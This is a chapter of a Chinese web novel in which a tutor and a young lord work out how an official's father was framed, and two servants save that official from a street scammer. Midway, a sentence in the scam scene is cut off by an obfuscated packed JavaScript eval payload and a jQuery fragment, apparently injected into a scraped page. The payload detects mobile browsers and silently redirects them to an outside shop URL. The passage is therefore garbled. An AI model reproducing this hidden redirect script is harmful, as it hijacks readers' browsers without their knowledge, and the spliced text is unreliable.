10. 初显露

作品:《妖孽侯爷训狗指南

    “是他也不全是他,一开始是宴饮之时被同桌的哪个官员听了过去,回去就写了个折子弹劾忘忧父亲,上了太和殿,大家都觉得一首诗罢了,不至于如此,小惩为戒即可,但那时樊述年却以损毁皇室声誉乃大不敬之名,硬是说服皇上下了重罚,以儆效尤,这是当年卷宗你看看。”刘太傅从桌案上找出一沓卷宗,起身边走边说,在萧瑾舟对面坐下。


    萧瑾舟拿起卷宗,仔细翻阅了片刻,问:“伯父为人如何?”


    刘太傅回想了一下,捋须道:“忘忧父亲,我是知道的,他在族中算是有才气的后辈,不过就是为人性格太过耿直刚硬,容易得罪人,所以在朝中并不受待见,被外放到了铜山县。”


    翻到某一页时,萧瑾舟停目细看,又问太傅道:“那酒量如何?”


    “别的我不敢说,他酒量必定是极好的,当年他成亲之时,我亲眼见识过,一人喝倒了八十多桌,仍面不改色,甚至说话做事也一如往常。”太傅放松了身子,靠在椅背上,舒了口气又说:“你看忘忧便知,刚刚他可喝了五瓶美人醉。”


    “酒量不对。”萧瑾舟看着卷宗,仔细翻看着当时宴饮期间的饭食酒水记录,念道:“桃花酿五壶,梨露白六壶,女儿红三壶。”


    他抬眸看向太傅说:“若按老师所说,伯父必定是酒中好手,这几壶酒虽加起来看数量不少,但都是果酒花酒居多,又怎会让其醉到口无遮拦的地步。”思及又道:“再说,想必伯父浸淫官场这么多年也是知道什么该说,什么不该说的。”


    刘太傅点头道:“没错,我当年也是这么想的,但当时老板还有伙计甚至在场的其他客人都看见他是醉醺醺,被人搀扶着走出酒楼的。”


    萧瑾舟放下卷宗,问道:“老师可知那位递折子的官员,如今在哪任职?”


    “铜山县”太傅拿过卷宗整理好,起身放回到原处,说:“铜山县现任县令便是当时弹劾忘忧父亲的官员。”


    萧瑾舟眼底掠过一丝惊色,随后便了然的冷笑一声说:“那想来伯父就算侥幸逃过此劫,下回也还会有其他罪责等着他。”


    “可樊述年为何要如此,是与伯父有旧怨?”萧瑾舟看着杯中茶叶起伏,仔细思索着各中关系,说:“亦或是……想要换掉铜山县令,把自己的人安插进去。”


    刘太傅摇了摇头说:“旧怨想来是没有的,之前忘忧父亲还在玉京时,都是一人独来独往,每日按时上下值,从不惹是生非,没听说他与樊述年有何龌龊。”


    萧瑾舟道:“那便是另一个原因,樊述年要在铜山县安插自己的人,也许他曾游说过伯父为他所用,但伯父拒绝了,所以他就设局除掉了伯父。”说着,他拿起茶盘上的一个空杯反扣在桌面上。


    他起身走到窗前,刚刚还是艳阳高照的天空,如今竟下起了小雨,萧瑾舟隔着雨雾远眺,看着远处逐渐变得模糊的高山,似是疑惑又像是在自问道:“樊述年为何要如此大费周章的在铜山县安插眼线?”


    刘太傅叹了口气,道:“我与忘忧也是推到这一步便止住了,关键是铜山县这一年来也并无异状且地处偏远,实难查证。”


    他踱步走到萧瑾舟身侧,也看着远方道:“我刚问你之事,其实是替忘忧问的。”随即转头看向萧瑾舟,说:“让他帮你,亦是让你帮他。”


    萧瑾舟把手放在窗棂,斟酌片刻后道:“那便让他入萧府做我的幕僚,如此方便行事。”


    ……


    “小清子,我现在才感觉自己活过来了!”魏廉双手叉腰,长舒了口气,大摇大摆的走着,像只被放出笼子撒欢的小公鸡。


    魏清与他并排,听言劝道:“主子给你安排的诗册,你一首诗都没背下来,到时候主子知道了,定是要加倍罚你的。”越想越担心,便停下步子拉住魏廉道:“要不你回去吧,我一个人也行的。”


    魏廉一听要他回去,连忙手脚并用抱住魏清的胳膊,撒泼耍赖道:“呜呜呜,小清子,我不想回去,一看到书我就头疼,我现在连晚上睡觉脑子里都是之乎者也,昨晚还梦魇了,我梦到……我梦到书在打我,我背不出诗经,那书就跟活了似的追着我打,呜呜呜我太惨了……”


    “哎呀,你多大了,别哭了!”看着周围人都瞧着他们一脸稀奇的样子,魏清便觉得丢人,小脸一下就红了。


    魏廉扬起委屈巴巴的脸,小声出谋划策道:“主子要问,你就说是夫人让我们俩一起去采买,主子就不会计较了。”


    “行,行吧,那我们快点。”魏清看着魏廉的样子,笑着拍了拍他的脑袋,无奈的应了。


    青云巷是玉京城中最热闹的街市,珠宝首饰、医馆书肆、布匹粮食、酒馆花楼在这应有尽有,要说缺点吧,也是有的,那就是实在太窄了。


    在魏廉拎着东西努力避开第八个大婶,不幸被第十三个大爷撞肩时,他仰头无奈的道:“早知道不出来了,这也太挤了,我都快喘不上气了。”


    魏清也努力缩着胳膊说:“是……是啊,早知道咱们应该去华兰巷,远是远了些,但是起码不会这么挤。”他转头对魏廉叮嘱道:“你护着点东西,这些都是二爷成亲时要用的,万不可有损。”


    “哎,知道知道。”魏廉说着把东西举到头顶。


    正走着,他眼尖看到前面挤了一圈人,心中好奇得很便朝着魏清喊:“小清子,你看前面干什么呢,这么热闹,咱们也去看看!”


    魏清还没来得及开口阻止,魏廉就举着东西寻着空档跑过去了,“你等等我!”他无奈喊道。


    “诶!你个书生,你走路不看道的吗?你没看见我老爹拄着拐儿呢?”


    人群中央有一个长得尖嘴猴腮的癞子正抓着一位锦衣公子耍赖打横,只见那癞子又道:“来人啊,大家看看,这有钱人家的公子哥撞了我爹还不承认,不把咱老百姓的命当命啊!”说完竟还一屁股坐在地上,捶着胸口哎呦哎呦起来。


    人总是同情弱者,不明所以的周围人只觉得是这公子仗势欺人,一下子都哄闹了起来,对着白忘忧指指点点。


    白忘忧用扇子杵了杵额头,他可没想到出门取个书还能遇上碰瓷儿的,今日还真是诸事不顺啊。


    他尽量语气和善道:“这位兄弟,我可是连你爹一片衣角都没碰到,我本好好走着,是你爹一个劲儿直扑了过来,还把我吓了一跳呢!”,说着用折扇拍了拍心口,眼神扫向周围人,他走到一位大娘身旁,故作了个可怜样,作揖道:“这位姐姐,刚才我从书肆出来刚好与你同路,想必你也看到方才的情形了,可为在下作个证啊?”


    那大娘听到这么个俊少年喊自己姐姐,一时都有些害羞,嘴角都要收不住笑了,说:“是啊,方才是那老头自个儿直直的冲过来躺在地上,把我也吓了一跳,这小公子碰都没碰他一下。”只见这大娘说完后,周围人有不少都开始附和。


    “是啊,我也看到了,这公子离老丈还有一臂远呢。”


    “对啊对啊,你再看那老头衣服上都是灰,要真撞上了,那公子的衣裳还能这么干净?”


    “诶?那不是坊西巷的朱癞子吗?他爹早死十


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487234|202080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    年了,哪来的爹啊?”


    众说纷纷……


    白忘忧看朱癞子因事情败露想要逃跑,一个箭步上前抓住了他的手腕,朱癞子挣脱不成,便想用另一只手挥拳也被白忘忧用扇子挡住。


    白忘忧笑的眉眼弯弯,像是在为对方考虑一样,道:“这位先生你要去哪?这事还没解决啊,不然咱们抬着老丈一起去趟官府吧。”


    朱癞子一听要去官府更是着急了,他趁其不备抬脚猛踹向了白忘忧的小腿。


    白忘忧吃痛松手,皱巴着脸单脚站立揉着受伤的小腿,他用扇子指着朱癞子道:“小人无耻也!”,说完便怒气冲冲想要上前抓人。


    朱癞子左看右看,随手拿起菜摊旁的水桶准备扔向白忘忧。


    白忘忧避闪不及,只能闭眼抬起双臂遮挡,想象中冰凉污臭的泥水并没有淋到他头上,反而朱癞子那边嗷嗷叫了起来。


    他抬眼看去,只见那水桶四分五裂的摔在一边,朱癞子被一个纤细少年反手按在地上,少年生的明艳如玉,衬上眉心朱色宛若雪中红梅。


    “小清子,你可真帅啊!”魏廉刚才脚都踏出去了,没想到魏清比他先快一步,一脚踹开了那木桶。


    魏清抬头朝魏廉笑了笑,随手拿过一旁婶子递的麻绳把朱癞子手脚绑了起来,待收拾妥当,他回头看着白忘忧道:“这位公子你可受伤了?”


    白忘忧连忙一瘸一拐走到魏清面前,行了个礼道:“无事,无事,不过真要多谢小公子了,不然在下现在就得被抬着送医馆了,不知小公子尊姓大名,在下好下回登门拜谢。”


    魏清瞪圆眼,急摆手道:“不用不用,举手之劳罢了,刚刚那位婶子已经去报官了,我们二人还有要事,就先回去了。”说完抱拳回了个礼便与魏廉拿着东西挤着人潮走了。


    白忘忧看着两人背影俞远,隐约还能听到两人的对话声。


    “小清子,你最近是不是背着我偷偷练功了,你这抬踢也太行运漏水了!”


    “是行云流水,你还是赶紧回去背书吧,要不然真有你哭的。”


    ……


    咚咚,一阵敲门声。


    “太傅,白公子回来了。”小厮在书房外禀报。


    刘太傅看了眼漏壶,没好气道:“又去哪瞎混了,拿个书拿这么久,你让他来书房吧。”


    没多久白忘忧到了,太傅看他一瘸一拐,连忙上前扶着问道:“你干什么去了,怎么还伤到腿了!”,不等白忘忧回话,他又向外喊道:“去把府医叫来。”


    白忘忧笑着拍了拍太傅的手,道:“老师,我没事儿,我是回来路上遇着碰瓷儿的了。”接着他简单把事情讲了一遍。


    太傅睨了他一眼,叮嘱道:“哎,以后定要稳重些,要想好对策再行事,此次要不是那位小公子,你伤的可就不只是腿了。”看了一眼萧瑾舟,太傅又道:“之后你就是你师兄的幕僚了,老夫顶着这张老脸为你保荐,莫要让老夫丢人啊。”


    白忘忧呼吸一滞,随即转眼看向萧瑾舟,只见他说:“你之事,我皆已悉知,我只有一个要求,行动谋划皆要与我商议之后再做决断,不可擅作主张反遭他人算计,这是害你也是害我。”


    说着放下茶杯,他略带深意看着白忘忧,又冷冷道:“除此之外,你我是师兄弟,我丑话说在前头,若你有异心,我必不会念旧情。”


    白忘忧连忙正色,承诺道:“师兄请放心,忘忧深知若要成事,必要隐忍蛰伏,我虽不才但也并非鄙夫宵小之辈,若真有那一日,便任师兄处置!”